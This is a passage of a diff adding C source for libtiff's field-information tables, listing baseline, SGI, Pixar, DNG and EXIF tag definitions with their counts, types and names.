+    { TIFFTAG_STRIPBYTECOUNTS,	-1,-1,	TIFF_LONG,	FIELD_STRIPBYTECOUNTS,
+      0,	0,	"StripByteCounts" },
+    { TIFFTAG_STRIPBYTECOUNTS,	-1,-1,	TIFF_SHORT,	FIELD_STRIPBYTECOUNTS,
+      0,	0,	"StripByteCounts" },
+    { TIFFTAG_MINSAMPLEVALUE,	-2,-1,	TIFF_SHORT,	FIELD_MINSAMPLEVALUE,
+      1,	0,	"MinSampleValue" },
+    { TIFFTAG_MAXSAMPLEVALUE,	-2,-1,	TIFF_SHORT,	FIELD_MAXSAMPLEVALUE,
+      1,	0,	"MaxSampleValue" },
+    { TIFFTAG_XRESOLUTION,	 1, 1,	TIFF_RATIONAL,	FIELD_RESOLUTION,
+      1,	0,	"XResolution" },
+    { TIFFTAG_YRESOLUTION,	 1, 1,	TIFF_RATIONAL,	FIELD_RESOLUTION,
+      1,	0,	"YResolution" },
+    { TIFFTAG_PLANARCONFIG,	 1, 1,	TIFF_SHORT,	FIELD_PLANARCONFIG,
+      0,	0,	"PlanarConfiguration" },
+    { TIFFTAG_PAGENAME,		-1,-1,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"PageName" },
+    { TIFFTAG_XPOSITION,	 1, 1,	TIFF_RATIONAL,	FIELD_POSITION,
+      1,	0,	"XPosition" },
+    { TIFFTAG_YPOSITION,	 1, 1,	TIFF_RATIONAL,	FIELD_POSITION,
+      1,	0,	"YPosition" },
+    { TIFFTAG_FREEOFFSETS,	-1,-1,	TIFF_LONG,	FIELD_IGNORE,
+      0,	0,	"FreeOffsets" },
+    { TIFFTAG_FREEBYTECOUNTS,	-1,-1,	TIFF_LONG,	FIELD_IGNORE,
+      0,	0,	"FreeByteCounts" },
+    { TIFFTAG_GRAYRESPONSEUNIT,	 1, 1,	TIFF_SHORT,	FIELD_IGNORE,
+      1,	0,	"GrayResponseUnit" },
+    { TIFFTAG_GRAYRESPONSECURVE,-1,-1,	TIFF_SHORT,	FIELD_IGNORE,
+      1,	0,	"GrayResponseCurve" },
+    { TIFFTAG_RESOLUTIONUNIT,	 1, 1,	TIFF_SHORT,	FIELD_RESOLUTIONUNIT,
+      1,	0,	"ResolutionUnit" },
+    { TIFFTAG_PAGENUMBER,	 2, 2,	TIFF_SHORT,	FIELD_PAGENUMBER,
+      1,	0,	"PageNumber" },
+    { TIFFTAG_COLORRESPONSEUNIT, 1, 1,	TIFF_SHORT,	FIELD_IGNORE,
+      1,	0,	"ColorResponseUnit" },
+    { TIFFTAG_TRANSFERFUNCTION,	-1,-1,	TIFF_SHORT,	FIELD_TRANSFERFUNCTION,
+      1,	0,	"TransferFunction" },
+    { TIFFTAG_SOFTWARE,		-1,-1,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"Software" },
+    { TIFFTAG_DATETIME,		20,20,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"DateTime" },
+    { TIFFTAG_ARTIST,		-1,-1,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"Artist" },
+    { TIFFTAG_HOSTCOMPUTER,	-1,-1,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"HostComputer" },
+    { TIFFTAG_WHITEPOINT,	 2, 2,	TIFF_RATIONAL,	FIELD_CUSTOM,
+      1,	0,	"WhitePoint" },
+    { TIFFTAG_PRIMARYCHROMATICITIES,6,6,TIFF_RATIONAL,	FIELD_CUSTOM,
+      1,	0,	"PrimaryChromaticities" },
+    { TIFFTAG_COLORMAP,		-1,-1,	TIFF_SHORT,	FIELD_COLORMAP,
+      1,	0,	"ColorMap" },
+    { TIFFTAG_HALFTONEHINTS,	 2, 2,	TIFF_SHORT,	FIELD_HALFTONEHINTS,
+      1,	0,	"HalftoneHints" },
+    { TIFFTAG_TILEWIDTH,	 1, 1,	TIFF_LONG,	FIELD_TILEDIMENSIONS,
+      0,	0,	"TileWidth" },
+    { TIFFTAG_TILEWIDTH,	 1, 1,	TIFF_SHORT,	FIELD_TILEDIMENSIONS,
+      0,	0,	"TileWidth" },
+    { TIFFTAG_TILELENGTH,	 1, 1,	TIFF_LONG,	FIELD_TILEDIMENSIONS,
+      0,	0,	"TileLength" },
+    { TIFFTAG_TILELENGTH,	 1, 1,	TIFF_SHORT,	FIELD_TILEDIMENSIONS,
+      0,	0,	"TileLength" },
+    { TIFFTAG_TILEOFFSETS,	-1, 1,	TIFF_LONG,	FIELD_STRIPOFFSETS,
+      0,	0,	"TileOffsets" },
+    { TIFFTAG_TILEBYTECOUNTS,	-1, 1,	TIFF_LONG,	FIELD_STRIPBYTECOUNTS,
+      0,	0,	"TileByteCounts" },
+    { TIFFTAG_TILEBYTECOUNTS,	-1, 1,	TIFF_SHORT,	FIELD_STRIPBYTECOUNTS,
+      0,	0,	"TileByteCounts" },
+    { TIFFTAG_SUBIFD,		-1,-1,	TIFF_IFD,	FIELD_SUBIFD,
+      1,	1,	"SubIFD" },
+    { TIFFTAG_SUBIFD,		-1,-1,	TIFF_LONG,	FIELD_SUBIFD,
+      1,	1,	"SubIFD" },
+    { TIFFTAG_INKSET,		 1, 1,	TIFF_SHORT,	FIELD_CUSTOM,
+      0,	0,	"InkSet" },
+    { TIFFTAG_INKNAMES,		-1,-1,	TIFF_ASCII,	FIELD_INKNAMES,
+      1,	1,	"InkNames" },
+    { TIFFTAG_NUMBEROFINKS,	 1, 1,	TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"NumberOfInks" },
+    { TIFFTAG_DOTRANGE,		 2, 2,	TIFF_SHORT,	FIELD_CUSTOM,
+      0,	0,	"DotRange" },
+    { TIFFTAG_DOTRANGE,		 2, 2,	TIFF_BYTE,	FIELD_CUSTOM,
+      0,	0,	"DotRange" },
+    { TIFFTAG_TARGETPRINTER,	-1,-1,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"TargetPrinter" },
+    { TIFFTAG_EXTRASAMPLES,	-1,-1,	TIFF_SHORT,	FIELD_EXTRASAMPLES,
+      0,	1,	"ExtraSamples" },
+/* XXX for bogus Adobe Photoshop v2.5 files */
+    { TIFFTAG_EXTRASAMPLES,	-1,-1,	TIFF_BYTE,	FIELD_EXTRASAMPLES,
+      0,	1,	"ExtraSamples" },
+    { TIFFTAG_SAMPLEFORMAT,	-1,-1,	TIFF_SHORT,	FIELD_SAMPLEFORMAT,
+      0,	0,	"SampleFormat" },
+    { TIFFTAG_SMINSAMPLEVALUE,	-2,-1,	TIFF_ANY,	FIELD_SMINSAMPLEVALUE,
+      1,	0,	"SMinSampleValue" },
+    { TIFFTAG_SMAXSAMPLEVALUE,	-2,-1,	TIFF_ANY,	FIELD_SMAXSAMPLEVALUE,
+      1,	0,	"SMaxSampleValue" },
+    { TIFFTAG_CLIPPATH,		-1, -3, TIFF_BYTE,	FIELD_CUSTOM,
+      0,	1,	"ClipPath" },
+    { TIFFTAG_XCLIPPATHUNITS,	 1, 1,	TIFF_SLONG,	FIELD_CUSTOM,
+      0,	0,	"XClipPathUnits" },
+    { TIFFTAG_XCLIPPATHUNITS,	 1, 1,	TIFF_SSHORT,	FIELD_CUSTOM,
+      0,	0,	"XClipPathUnits" },
+    { TIFFTAG_XCLIPPATHUNITS,	 1, 1,	TIFF_SBYTE,	FIELD_CUSTOM,
+      0,	0,	"XClipPathUnits" },
+    { TIFFTAG_YCLIPPATHUNITS,	 1, 1,	TIFF_SLONG,	FIELD_CUSTOM,
+      0,	0,	"YClipPathUnits" },
+    { TIFFTAG_YCLIPPATHUNITS,	 1, 1,	TIFF_SSHORT,	FIELD_CUSTOM,
+      0,	0,	"YClipPathUnits" },
+    { TIFFTAG_YCLIPPATHUNITS,	 1, 1,	TIFF_SBYTE,	FIELD_CUSTOM,
+      0,	0,	"YClipPathUnits" },
+    { TIFFTAG_YCBCRCOEFFICIENTS, 3, 3,	TIFF_RATIONAL,	FIELD_CUSTOM,
+      0,	0,	"YCbCrCoefficients" },
+    { TIFFTAG_YCBCRSUBSAMPLING,	 2, 2,	TIFF_SHORT,	FIELD_YCBCRSUBSAMPLING,
+      0,	0,	"YCbCrSubsampling" },
+    { TIFFTAG_YCBCRPOSITIONING,	 1, 1,	TIFF_SHORT,	FIELD_YCBCRPOSITIONING,
+      0,	0,	"YCbCrPositioning" },
+    { TIFFTAG_REFERENCEBLACKWHITE, 6, 6, TIFF_RATIONAL,	FIELD_CUSTOM,
+      1,	0,	"ReferenceBlackWhite" },
+/* XXX temporarily accept LONG for backwards compatibility */
+    { TIFFTAG_REFERENCEBLACKWHITE, 6, 6, TIFF_LONG,	FIELD_CUSTOM,
+      1,	0,	"ReferenceBlackWhite" },
+    { TIFFTAG_XMLPACKET,	-3,-3,	TIFF_BYTE,	FIELD_CUSTOM,
+      0,	1,	"XMLPacket" },
+/* begin SGI tags */
+    { TIFFTAG_MATTEING,		 1, 1,	TIFF_SHORT,	FIELD_EXTRASAMPLES,
+      0,	0,	"Matteing" },
+    { TIFFTAG_DATATYPE,		-2,-1,	TIFF_SHORT,	FIELD_SAMPLEFORMAT,
+      0,	0,	"DataType" },
+    { TIFFTAG_IMAGEDEPTH,	 1, 1,	TIFF_LONG,	FIELD_IMAGEDEPTH,
+      0,	0,	"ImageDepth" },
+    { TIFFTAG_IMAGEDEPTH,	 1, 1,	TIFF_SHORT,	FIELD_IMAGEDEPTH,
+      0,	0,	"ImageDepth" },
+    { TIFFTAG_TILEDEPTH,	 1, 1,	TIFF_LONG,	FIELD_TILEDEPTH,
+      0,	0,	"TileDepth" },
+    { TIFFTAG_TILEDEPTH,	 1, 1,	TIFF_SHORT,	FIELD_TILEDEPTH,
+      0,	0,	"TileDepth" },
+/* end SGI tags */
+/* begin Pixar tags */
+    { TIFFTAG_PIXAR_IMAGEFULLWIDTH,  1, 1, TIFF_LONG,	FIELD_CUSTOM,
+      1,	0,	"ImageFullWidth" },
+    { TIFFTAG_PIXAR_IMAGEFULLLENGTH, 1, 1, TIFF_LONG,	FIELD_CUSTOM,
+      1,	0,	"ImageFullLength" },
+    { TIFFTAG_PIXAR_TEXTUREFORMAT,  -1, -1, TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"TextureFormat" },
+    { TIFFTAG_PIXAR_WRAPMODES,	    -1, -1, TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"TextureWrapModes" },
+    { TIFFTAG_PIXAR_FOVCOT,	     1, 1, TIFF_FLOAT,	FIELD_CUSTOM,
+      1,	0,	"FieldOfViewCotangent" },
+    { TIFFTAG_PIXAR_MATRIX_WORLDTOSCREEN,	16,16,	TIFF_FLOAT,
+      FIELD_CUSTOM,	1,	0,	"MatrixWorldToScreen" },
+    { TIFFTAG_PIXAR_MATRIX_WORLDTOCAMERA,	16,16,	TIFF_FLOAT,
+       FIELD_CUSTOM,	1,	0,	"MatrixWorldToCamera" },
+    { TIFFTAG_COPYRIGHT,	-1, -1,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"Copyright" },
+/* end Pixar tags */
+    { TIFFTAG_RICHTIFFIPTC, -3, -3,	TIFF_LONG,	FIELD_CUSTOM, 
+      0,    1,   "RichTIFFIPTC" },
+    { TIFFTAG_PHOTOSHOP,    -3, -3,	TIFF_BYTE,	FIELD_CUSTOM, 
+      0,    1,   "Photoshop" },
+    { TIFFTAG_EXIFIFD,		1, 1,	TIFF_LONG,	FIELD_CUSTOM,
+      0,	0,	"EXIFIFDOffset" },
+    { TIFFTAG_ICCPROFILE,	-3, -3,	TIFF_UNDEFINED,	FIELD_CUSTOM,
+      0,	1,	"ICC Profile" },
+    { TIFFTAG_GPSIFD,		1, 1,	TIFF_LONG,	FIELD_CUSTOM,
+      0,	0,	"GPSIFDOffset" },
+    { TIFFTAG_STONITS,		 1, 1,	TIFF_DOUBLE,	FIELD_CUSTOM,
+      0,	0,	"StoNits" },
+    { TIFFTAG_INTEROPERABILITYIFD, 1, 1, TIFF_LONG,	FIELD_CUSTOM,
+      0,	0,	"InteroperabilityIFDOffset" },
+/* begin DNG tags */
+    { TIFFTAG_DNGVERSION,	4, 4,	TIFF_BYTE,	FIELD_CUSTOM, 
+      0,	0,	"DNGVersion" },
+    { TIFFTAG_DNGBACKWARDVERSION, 4, 4,	TIFF_BYTE,	FIELD_CUSTOM, 
+      0,	0,	"DNGBackwardVersion" },
+    { TIFFTAG_UNIQUECAMERAMODEL,    -1, -1, TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"UniqueCameraModel" },
+    { TIFFTAG_LOCALIZEDCAMERAMODEL, -1, -1, TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"LocalizedCameraModel" },
+    { TIFFTAG_LOCALIZEDCAMERAMODEL, -1, -1, TIFF_BYTE,	FIELD_CUSTOM,
+      1,	1,	"LocalizedCameraModel" },
+    { TIFFTAG_CFAPLANECOLOR,	-1, -1,	TIFF_BYTE,	FIELD_CUSTOM, 
+      0,	1,	"CFAPlaneColor" },
+    { TIFFTAG_CFALAYOUT,	1, 1,	TIFF_SHORT,	FIELD_CUSTOM, 
+      0,	0,	"CFALayout" },
+    { TIFFTAG_LINEARIZATIONTABLE, -1, -1, TIFF_SHORT,	FIELD_CUSTOM, 
+      0,	1,	"LinearizationTable" },
+    { TIFFTAG_BLACKLEVELREPEATDIM, 2, 2, TIFF_SHORT,	FIELD_CUSTOM, 
+      0,	0,	"BlackLevelRepeatDim" },
+    { TIFFTAG_BLACKLEVEL,	-1, -1,	TIFF_LONG,	FIELD_CUSTOM, 
+      0,	1,	"BlackLevel" },
+    { TIFFTAG_BLACKLEVEL,	-1, -1,	TIFF_SHORT,	FIELD_CUSTOM, 
+      0,	1,	"BlackLevel" },
+    { TIFFTAG_BLACKLEVEL,	-1, -1,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	1,	"BlackLevel" },
+    { TIFFTAG_BLACKLEVELDELTAH,	-1, -1,	TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      0,	1,	"BlackLevelDeltaH" },
+    { TIFFTAG_BLACKLEVELDELTAV,	-1, -1,	TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      0,	1,	"BlackLevelDeltaV" },
+    { TIFFTAG_WHITELEVEL,	-2, -2,	TIFF_LONG,	FIELD_CUSTOM, 
+      0,	0,	"WhiteLevel" },
+    { TIFFTAG_WHITELEVEL,	-2, -2,	TIFF_SHORT,	FIELD_CUSTOM, 
+      0,	0,	"WhiteLevel" },
+    { TIFFTAG_DEFAULTSCALE,	2, 2,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	0,	"DefaultScale" },
+    { TIFFTAG_BESTQUALITYSCALE,	1, 1,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	0,	"BestQualityScale" },
+    { TIFFTAG_DEFAULTCROPORIGIN,	2, 2,	TIFF_LONG,	FIELD_CUSTOM, 
+      0,	0,	"DefaultCropOrigin" },
+    { TIFFTAG_DEFAULTCROPORIGIN,	2, 2,	TIFF_SHORT,	FIELD_CUSTOM, 
+      0,	0,	"DefaultCropOrigin" },
+    { TIFFTAG_DEFAULTCROPORIGIN,	2, 2,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	0,	"DefaultCropOrigin" },
+    { TIFFTAG_DEFAULTCROPSIZE,	2, 2,	TIFF_LONG,	FIELD_CUSTOM, 
+      0,	0,	"DefaultCropSize" },
+    { TIFFTAG_DEFAULTCROPSIZE,	2, 2,	TIFF_SHORT,	FIELD_CUSTOM, 
+      0,	0,	"DefaultCropSize" },
+    { TIFFTAG_DEFAULTCROPSIZE,	2, 2,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	0,	"DefaultCropSize" },
+    { TIFFTAG_COLORMATRIX1,	-1, -1,	TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      0,	1,	"ColorMatrix1" },
+    { TIFFTAG_COLORMATRIX2,	-1, -1,	TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      0,	1,	"ColorMatrix2" },
+    { TIFFTAG_CAMERACALIBRATION1,	-1, -1,	TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      0,	1,	"CameraCalibration1" },
+    { TIFFTAG_CAMERACALIBRATION2,	-1, -1,	TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      0,	1,	"CameraCalibration2" },
+    { TIFFTAG_REDUCTIONMATRIX1,	-1, -1,	TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      0,	1,	"ReductionMatrix1" },
+    { TIFFTAG_REDUCTIONMATRIX2,	-1, -1,	TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      0,	1,	"ReductionMatrix2" },
+    { TIFFTAG_ANALOGBALANCE,	-1, -1,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	1,	"AnalogBalance" },
+    { TIFFTAG_ASSHOTNEUTRAL,	-1, -1,	TIFF_SHORT,	FIELD_CUSTOM, 
+      0,	1,	"AsShotNeutral" },
+    { TIFFTAG_ASSHOTNEUTRAL,	-1, -1,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	1,	"AsShotNeutral" },
+    { TIFFTAG_ASSHOTWHITEXY,	2, 2,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	0,	"AsShotWhiteXY" },
+    { TIFFTAG_BASELINEEXPOSURE,	1, 1,	TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      0,	0,	"BaselineExposure" },
+    { TIFFTAG_BASELINENOISE,	1, 1,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	0,	"BaselineNoise" },
+    { TIFFTAG_BASELINESHARPNESS,	1, 1,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	0,	"BaselineSharpness" },
+    { TIFFTAG_BAYERGREENSPLIT,	1, 1,	TIFF_LONG,	FIELD_CUSTOM, 
+      0,	0,	"BayerGreenSplit" },
+    { TIFFTAG_LINEARRESPONSELIMIT,	1, 1,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	0,	"LinearResponseLimit" },
+    { TIFFTAG_CAMERASERIALNUMBER,    -1, -1, TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"CameraSerialNumber" },
+    { TIFFTAG_LENSINFO,	4, 4,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	0,	"LensInfo" },
+    { TIFFTAG_CHROMABLURRADIUS,	1, 1,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	0,	"ChromaBlurRadius" },
+    { TIFFTAG_ANTIALIASSTRENGTH,	1, 1,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	0,	"AntiAliasStrength" },
+    { TIFFTAG_SHADOWSCALE,	1, 1,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      0,	0,	"ShadowScale" },
+    { TIFFTAG_DNGPRIVATEDATA,    -1, -1, TIFF_BYTE,	FIELD_CUSTOM,
+      0,	1,	"DNGPrivateData" },
+    { TIFFTAG_MAKERNOTESAFETY,	1, 1,	TIFF_SHORT,	FIELD_CUSTOM, 
+      0,	0,	"MakerNoteSafety" },
+    { TIFFTAG_CALIBRATIONILLUMINANT1,	1, 1,	TIFF_SHORT,	FIELD_CUSTOM, 
+      0,	0,	"CalibrationIlluminant1" },
+    { TIFFTAG_CALIBRATIONILLUMINANT2,	1, 1,	TIFF_SHORT,	FIELD_CUSTOM, 
+      0,	0,	"CalibrationIlluminant2" },
+    { TIFFTAG_RAWDATAUNIQUEID,	16, 16,	TIFF_BYTE,	FIELD_CUSTOM, 
+      0,	0,	"RawDataUniqueID" },
+    { TIFFTAG_ORIGINALRAWFILENAME,    -1, -1, TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"OriginalRawFileName" },
+    { TIFFTAG_ORIGINALRAWFILENAME,    -1, -1, TIFF_BYTE,	FIELD_CUSTOM,
+      1,	1,	"OriginalRawFileName" },
+    { TIFFTAG_ORIGINALRAWFILEDATA,    -1, -1, TIFF_UNDEFINED,	FIELD_CUSTOM,
+      0,	1,	"OriginalRawFileData" },
+    { TIFFTAG_ACTIVEAREA,	4, 4,	TIFF_LONG,	FIELD_CUSTOM, 
+      0,	0,	"ActiveArea" },
+    { TIFFTAG_ACTIVEAREA,	4, 4,	TIFF_SHORT,	FIELD_CUSTOM, 
+      0,	0,	"ActiveArea" },
+    { TIFFTAG_MASKEDAREAS,	-1, -1,	TIFF_LONG,	FIELD_CUSTOM, 
+      0,	1,	"MaskedAreas" },
+    { TIFFTAG_ASSHOTICCPROFILE,    -1, -1, TIFF_UNDEFINED,	FIELD_CUSTOM,
+      0,	1,	"AsShotICCProfile" },
+    { TIFFTAG_ASSHOTPREPROFILEMATRIX,	-1, -1,	TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      0,	1,	"AsShotPreProfileMatrix" },
+    { TIFFTAG_CURRENTICCPROFILE,    -1, -1, TIFF_UNDEFINED,	FIELD_CUSTOM,
+      0,	1,	"CurrentICCProfile" },
+    { TIFFTAG_CURRENTPREPROFILEMATRIX,	-1, -1,	TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      0,	1,	"CurrentPreProfileMatrix" },
+/* end DNG tags */
+};
+
+static const TIFFFieldInfo
+exifFieldInfo[] = {
+    { EXIFTAG_EXPOSURETIME,	1, 1,		TIFF_RATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"ExposureTime" },
+    { EXIFTAG_FNUMBER,		1, 1,		TIFF_RATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"FNumber" },
+    { EXIFTAG_EXPOSUREPROGRAM,	1, 1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"ExposureProgram" },
+    { EXIFTAG_SPECTRALSENSITIVITY,    -1, -1,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"SpectralSensitivity" },
+    { EXIFTAG_ISOSPEEDRATINGS,  -1, -1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	1,	"ISOSpeedRatings" },
+    { EXIFTAG_OECF,	-1, -1,			TIFF_UNDEFINED,	FIELD_CUSTOM,
+      1,	1,	"OptoelectricConversionFactor" },
+    { EXIFTAG_EXIFVERSION,	4, 4,		TIFF_UNDEFINED,	FIELD_CUSTOM,
+      1,	0,	"ExifVersion" },
+    { EXIFTAG_DATETIMEORIGINAL,	20, 20,		TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"DateTimeOriginal" },
+    { EXIFTAG_DATETIMEDIGITIZED, 20, 20,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"DateTimeDigitized" },
+    { EXIFTAG_COMPONENTSCONFIGURATION,	 4, 4,	TIFF_UNDEFINED,	FIELD_CUSTOM,
+      1,	0,	"ComponentsConfiguration" },
+    { EXIFTAG_COMPRESSEDBITSPERPIXEL,	 1, 1,	TIFF_RATIONAL,	FIELD_CUSTOM,
+      1,	0,	"CompressedBitsPerPixel" },
+    { EXIFTAG_SHUTTERSPEEDVALUE,	1, 1,	TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"ShutterSpeedValue" },
+    { EXIFTAG_APERTUREVALUE,	1, 1,		TIFF_RATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"ApertureValue" },
+    { EXIFTAG_BRIGHTNESSVALUE,	1, 1,		TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"BrightnessValue" },
+    { EXIFTAG_EXPOSUREBIASVALUE,	1, 1,	TIFF_SRATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"ExposureBiasValue" },
+    { EXIFTAG_MAXAPERTUREVALUE,	1, 1,		TIFF_RATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"MaxApertureValue" },
+    { EXIFTAG_SUBJECTDISTANCE,	1, 1,		TIFF_RATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"SubjectDistance" },
+    { EXIFTAG_METERINGMODE,	1, 1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"MeteringMode" },
+    { EXIFTAG_LIGHTSOURCE,	1, 1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"LightSource" },
+    { EXIFTAG_FLASH,	1, 1,			TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"Flash" },
+    { EXIFTAG_FOCALLENGTH,	1, 1,		TIFF_RATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"FocalLength" },
+    { EXIFTAG_SUBJECTAREA,	-1, -1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	1,	"SubjectArea" },
+    { EXIFTAG_MAKERNOTE,	-1, -1,		TIFF_UNDEFINED,	FIELD_CUSTOM,
+      1,	1,	"MakerNote" },
+    { EXIFTAG_USERCOMMENT,	-1, -1,		TIFF_UNDEFINED,	FIELD_CUSTOM,
+      1,	1,	"UserComment" },
+    { EXIFTAG_SUBSECTIME,    -1, -1,		TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"SubSecTime" },
+    { EXIFTAG_SUBSECTIMEORIGINAL, -1, -1,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"SubSecTimeOriginal" },
+    { EXIFTAG_SUBSECTIMEDIGITIZED,-1, -1,	TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"SubSecTimeDigitized" },
+    { EXIFTAG_FLASHPIXVERSION,	4, 4,		TIFF_UNDEFINED,	FIELD_CUSTOM,
+      1,	0,	"FlashpixVersion" },
+    { EXIFTAG_PIXELXDIMENSION,	1, 1,		TIFF_LONG,	FIELD_CUSTOM,
+      1,	0,	"PixelXDimension" },
+    { EXIFTAG_PIXELXDIMENSION,	1, 1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"PixelXDimension" },
+    { EXIFTAG_PIXELYDIMENSION,	1, 1,		TIFF_LONG,	FIELD_CUSTOM,
+      1,	0,	"PixelYDimension" },
+    { EXIFTAG_PIXELYDIMENSION,	1, 1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"PixelYDimension" },
+    { EXIFTAG_RELATEDSOUNDFILE,	13, 13,		TIFF_ASCII,	FIELD_CUSTOM,
+      1,	0,	"RelatedSoundFile" },
+    { EXIFTAG_FLASHENERGY,	1, 1,		TIFF_RATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"FlashEnergy" },
+    { EXIFTAG_SPATIALFREQUENCYRESPONSE,	-1, -1,	TIFF_UNDEFINED,	FIELD_CUSTOM,
+      1,	1,	"SpatialFrequencyResponse" },
+    { EXIFTAG_FOCALPLANEXRESOLUTION,	1, 1,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"FocalPlaneXResolution" },
+    { EXIFTAG_FOCALPLANEYRESOLUTION,	1, 1,	TIFF_RATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"FocalPlaneYResolution" },
+    { EXIFTAG_FOCALPLANERESOLUTIONUNIT,	1, 1,	TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"FocalPlaneResolutionUnit" },
+    { EXIFTAG_SUBJECTLOCATION,	2, 2,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"SubjectLocation" },
+    { EXIFTAG_EXPOSUREINDEX,	1, 1,		TIFF_RATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"ExposureIndex" },
+    { EXIFTAG_SENSINGMETHOD,	1, 1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"SensingMethod" },
+    { EXIFTAG_FILESOURCE,	1, 1,		TIFF_UNDEFINED,	FIELD_CUSTOM,
+      1,	0,	"FileSource" },
+    { EXIFTAG_SCENETYPE,	1, 1,		TIFF_UNDEFINED,	FIELD_CUSTOM,
+      1,	0,	"SceneType" },
+    { EXIFTAG_CFAPATTERN,	-1, -1,		TIFF_UNDEFINED,	FIELD_CUSTOM,
+      1,	1,	"CFAPattern" },
+    { EXIFTAG_CUSTOMRENDERED,	1, 1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"CustomRendered" },
+    { EXIFTAG_EXPOSUREMODE,	1, 1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"ExposureMode" },
+    { EXIFTAG_WHITEBALANCE,	1, 1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"WhiteBalance" },
+    { EXIFTAG_DIGITALZOOMRATIO,	1, 1,		TIFF_RATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"DigitalZoomRatio" },
+    { EXIFTAG_FOCALLENGTHIN35MMFILM, 1, 1,	TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"FocalLengthIn35mmFilm" },
+    { EXIFTAG_SCENECAPTURETYPE,	1, 1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"SceneCaptureType" },
+    { EXIFTAG_GAINCONTROL,	1, 1,		TIFF_RATIONAL,	FIELD_CUSTOM, 
+      1,	0,	"GainControl" },
+    { EXIFTAG_CONTRAST,		1, 1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"Contrast" },
+    { EXIFTAG_SATURATION,	1, 1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"Saturation" },
+    { EXIFTAG_SHARPNESS,	1, 1,		TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"Sharpness" },
+    { EXIFTAG_DEVICESETTINGDESCRIPTION,	-1, -1,	TIFF_UNDEFINED,	FIELD_CUSTOM,
+      1,	1,	"DeviceSettingDescription" },
+    { EXIFTAG_SUBJECTDISTANCERANGE, 1, 1,	TIFF_SHORT,	FIELD_CUSTOM,
+      1,	0,	"SubjectDistanceRange" },
+    { EXIFTAG_IMAGEUNIQUEID,	33, 33,		TIFF_ASCII,	FIELD_CUSTOM,
